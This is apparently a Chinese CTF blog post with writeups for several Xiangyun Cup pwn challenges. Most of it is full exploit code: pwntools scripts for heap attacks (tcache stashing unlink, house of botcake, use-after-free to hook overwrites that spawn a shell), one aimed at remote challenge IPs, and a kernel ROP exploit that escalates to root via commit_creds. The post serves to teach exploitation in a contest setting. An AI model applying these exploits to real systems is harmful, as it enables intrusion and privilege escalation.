祥云杯部分pwn题writeup

初赛,被打的很惨,神仙较多,来补习了

beauty_of_changchun

  • Tcache_stashing_unlink模版题

  • free的时候只没有清空指针,但是会清空size(只清了size低单字节),由于其他功能依靠判断size是否为零进行,所以当申请0x100size的chunk时可以uaf

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# -*- author: n0trix -*-

from pwn import *

context.log_level = 'debug'

elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
io = process(elf.path)

def getMmap():
io.recvline()
return int(io.recvline().strip(),16)

mmap_addr = getMmap()
log.success('mmap: '+hex(mmap_addr))


def add(size):
io.sendlineafter('scenery\n','1')
io.sendlineafter('size:\n',str(size))

def dele(idx):
io.sendlineafter('scenery\n','2')
io.sendlineafter('idx:\n',str(idx))

def edit(idx,con):
io.sendlineafter('scenery\n','3')
io.sendlineafter('idx:\n',str(idx))
io.sendafter('chat:\n',con)

def show(idx):
io.sendlineafter('scenery\n','4')
io.sendlineafter('idx:\n',str(idx))
io.recvuntil('see\n')
return io.recvn(6)

def trigger():
io.sendlineafter('scenery\n','666')

def puts_flag(flag,idx=0):
io.sendlineafter('scenery\n','5')
if flag:
io.sendlineafter('idx\n',str(idx))
else:
io.send('aaaa')


add(0x100) #0
add(0xff) #1
add(0x100) #2
dele(1)
for i in range(6):
add(0xff)
dele(1)

dele(0)
dele(2)
trigger()

heap_base = u64(show(2).ljust(8,'\x00'))-0x290
libc_base = u64(show(0).ljust(8,'\x00'))-0x1ebce0
log.success('libc: '+hex(libc_base))
log.success('heap: '+hex(heap_base))
#gdb.attach(io)

#use malloc get a chunk from tcache
#now tcache has 6 chunks, prepare for unlink attack(write bin addr)
puts_flag(False)

#write fd = heap+0x290 to bypass check
edit(2,p64(heap_base+0x290)+p64(mmap_addr-0x10))
add(0x100) #1

edit(0,p64(libc_base+0x1ebce0))
puts_flag(True,0)
#puts flag
io.recv()

garden

  • House of botcake模版题
  • 只能申请固定大小0x100的堆块,但是可以申请一次0x20的chunk,用来切割unsortedbin,所以可以重叠到victim的fd

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# -*- author: n0trix -*-

from pwn import *

context.terminal = ['tmux','splitw','-v']
context.log_level = 'debug'

elf = ELF('./garden',checksec=False)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
io = process(elf.path)

def add(idx,con):
io.sendlineafter('>> ','1')
io.sendlineafter('index?\n',str(idx))
io.sendafter('name?\n',con)

def dele(idx):
io.sendlineafter('>> ','2')
io.sendlineafter('index?\n',str(idx))

#use once
def show(idx):
io.sendlineafter('>> ','3')
io.sendlineafter('index?\n',str(idx))

#use once
def get0x20():
io.sendlineafter('>> ','6')

#use once
def uaf(idx):
io.sendlineafter('>> ','5')
io.sendlineafter('steal?\n',str(idx))

for i in range(9):
add(i,str(i))

#put 0,1 into unsortedbin
for i in range(2,9):
dele(i)

uaf(1)
show(1)
#gdb.attach(io)
libc_base = u64(io.recvuntil('\x7f').ljust(8,'\x00'))-0x1ebbe0
log.success('libc: '+hex(libc_base))
system = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']

#forward consolidate -> 0x220 : unosrted bin
dele(0)

#get one chunk out of tcache
add(8,'aaaa')

#put victim into tcache
dele(1)

#empty tcache
add(1,'victim')
for i in range(2,8):
add(i,'aaaa')

#split unosrted bin
get0x20()
#use this chunk to write victim's fd (next pointer)
add(0,'write')
#put victim and its overlap chunk into tcache
#then alloc back to write victim's fd
dele(2)
dele(1)
dele(0)
#gdb.attach(io)
payload = 0xd8*'\x00'+p64(0x111)+p64(free_hook)
add(0,payload)
add(2,'/bin/sh\x00')
#get freehook
add(1,p64(system))
dele(2)
io.interactive()

影流之主

  • uaf,最简单的一道

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# -*- author: n0trix -*-

from pwn import *

#context.terminal = ['tmux','splitw','-v']
context.log_level = 'debug'

#io = process('./ylzz')
#io = remote('112.126.71.170',45123)
io = remote('8.131.69.237',45123)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one = [0x45226,0x4527a,0xf0364,0xf1207]

def add():
io.sendline('1')

def dele(idx):
io.sendline('2')
io.sendline(str(idx))

def edit(idx,con):
io.sendline('3')
io.sendline(str(idx))
io.send(con)

def show(idx):
io.sendline('4')
io.sendline(str(idx))
return io.recv()

def do_glob(pattern):
io.sendline('5')
io.sendline(pattern)

do_glob('/dev/*')
sleep(1)
add() #0
sleep(1)
libc_base = u64(show(0))-3951480
log.success('libc : '+hex(libc_base))
malloc_hook = libc_base + libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
sleep(1)
add() #1
sleep(1)
dele(1)
sleep(1)
edit(1,p64(malloc_hook-0x23))
sleep(1)
#edit(2,p64(free_hook-19))
#gdb.attach(io)
add() #2
sleep(1)
add() #3
#edit(3,(0x13-8)*'A'+p64(libc_base+one[1])+p64(libc_base+libc.sym['realloc']+2))
sleep(1)
edit(3,0x13*'A'+p64(libc_base+one[3]))
#edit(3,'aaa'+p64(libc_base+one[0]))
#dele(2)
sleep(1)
add()
io.interactive()

把嘴闭上

  • mallopt漏洞,去学了~~

babydev

内核题,待爷学会了再来写

方法一:可以任意读写,搜cred结构体提权

方法二:来自Nu1L

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stropts.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <pthread.qh>

#define pop_rdi 0xffffffff813ead2c
#define prepare_kernel_cred 0xffffffff8108d690
#define xchg_rax_rdi 0xffffffff81768ef2
#define commit_creds 0xffffffff8108d340
#define swapgs 0xffffffff81c00eae
#define iretq 0xffffffff81025a56

int fd;
size_t data[0x4000];
size_t mydata;
size_t stack;
unsigned long user_cs, user_ss, user_flags,user_sp ;
void save_status() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %3\n"
"pushfq\n"
"popq %2\n"
:"=r"(user_cs), "=r"(user_ss), "=r"(user_flags),"=r"(user_sp)
:
: "memory"
);
}

void shell()
{
printf("uid:%d\n",getuid());
system("/bin/sh");
}

void main()
{
printf("uid:%d\n",getuid());
save_status();
signal(SIGSEGV, shell);
signal(SIGTRAP, shell);
fd = open("/dev/mychrdev", O_WRONLY);
ioctl(fd,0x1111,data);
mydata=data[4];
stack=( data[2] | 0xffffc90000000000) -0x10;
printf("[+] mydata at %p\n",mydata);
printf("[+] stack at %p\n",stack);
write(fd,data,0xf000);
llseek(fd,0x100,0);
write(fd,data,0x10000);
llseek(fd,0x10001,0);
data[0]=stack-mydata;
data[1]=stack-mydata+0x10000;
write(fd,(char *)data+1,0x10000);
size_t off=stack&0xff;
llseek(fd,off,0);
int i=0;
data[i++]=pop_rdi;
data[i++]=0;
data[i++]=prepare_kernel_cred;
data[i++]=xchg_rax_rdi;
data[i++]=commit_creds;
data[i++]=swapgs;
data[i++]=0x246;
data[i++]=0;
data[i++]=iretq;
data[i++]=&shell;
data[i++]=user_cs;
data[i++]=user_flags;
data[i++]=user_sp;
data[i++]=user_ss;
write(fd,data,0x100);
}

babypwn

  • c++pwn题,不会,去学了